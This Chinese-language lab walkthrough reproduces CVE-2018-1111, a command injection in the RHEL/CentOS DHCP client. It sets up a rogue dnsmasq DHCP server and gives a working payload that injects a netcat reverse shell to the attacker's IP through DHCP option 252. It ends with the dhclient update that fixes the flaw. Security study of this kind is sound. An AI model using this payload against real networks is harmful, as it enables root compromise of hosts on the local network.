0×01 前言
2018年5月,在Red Hat Enterprise Linux多個版本的DHCP客戶端軟件包所包含的NetworkManager集成腳本中發現了命令注入漏洞(CVE-2018-1111),該漏洞目前已經進行了修補。攻擊者可以通過本地網絡上的惡意DHCP服務器或使用惡意的虛假DHCP響應來利用此漏洞進行攻擊,一旦攻擊成功,則可以在配置了DHCP的NetworkManager的系統上以root權限執行任意命令。
0×02 漏洞影響面
影響版本
- Red Hat Enterprise Linux Server 6
- Red Hat Enterprise Linux Server 7
- CentOS 6
- CentOS 7
0×03 環境搭建
攻擊機:kali linux ip:192.168.1.14 受害機:centos7 ip:192.168.1.15
一、配置虛擬網絡
打開VM虛擬機-菜單欄-編輯-虛擬網絡編輯器,設置僅主機模式(關掉dhcp,設置ip)。
將 攻擊機 和 受害機 網絡配置成僅主機模式:
二、搭建dhcp服務
先在kali下設置一下網絡
配置ip ifconfig eth0 192.168.1.11 netmask 255.255.255.0 配置網管 route add default gw 192.168.1.11
在當前目錄新建一個dnsmasq.conf文件,填入以下內容進行配置:
bind-interfaces interface=eth0 except-interface=lo dhcp-range=192.168.1.20,192.168.1.30,12h dhcp-option=3,192.168.1.11 dhcp-option=6,192.168.1.11 log-queries log-facility=/var/log/dnsmasq.log
參數解釋
dhcp-range: 表示要分配給客戶機的 ip 地址范圍和租約時間 dhcp-option: 表示指定給 DHCP 客戶端的選項信息 log-facility: 表示日志記錄器
其中配置文件中包括的 option 取值及含義如下:
3: 設置網關地址選項 6: 設置 DNS 服務器地址選項 252: 為 DHCP 客戶端提供了一個用於配置其代理設置的 URL,wpad-proxy-url
payload 中涉及到的 option 252 是私人使用保留部分的一部分, 為 dhcp 服務器使用 252,然后在他們的瀏覽器中寫入與 dhcp 服務器交談的能力,並要求代碼 252 從該選項列出的 URL 中獲取關於網絡上代理設置的信息。
這里 dnsmasq.conf中的dhcp-range設置:
為客戶端分配 192.168.1.20-192.168.1.30/24 這個 ip 地址范圍,租約時間為 12h。
0×04 命令注入
利用dnsmasq偽造dns服務器,命令執行 payload 如下:
dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.1.11 6666 #"
監聽6666端口:
nc -lvp 6666
重啟CentOS的網絡服務,然后shell就反彈回來了:
我們按一下centos的ip地址,在我們制定的ip段內(192.168.20-192.168.1.30)
0×05 修復方案
終端下執行
更新dhcp yum -y update dhclient 查看更新日志 rpm -qa --changelog dhclient | grep CVE-2018 - Resolves: #1570898 - Fix CVE-2018-1111: Do not parse backslash as escape character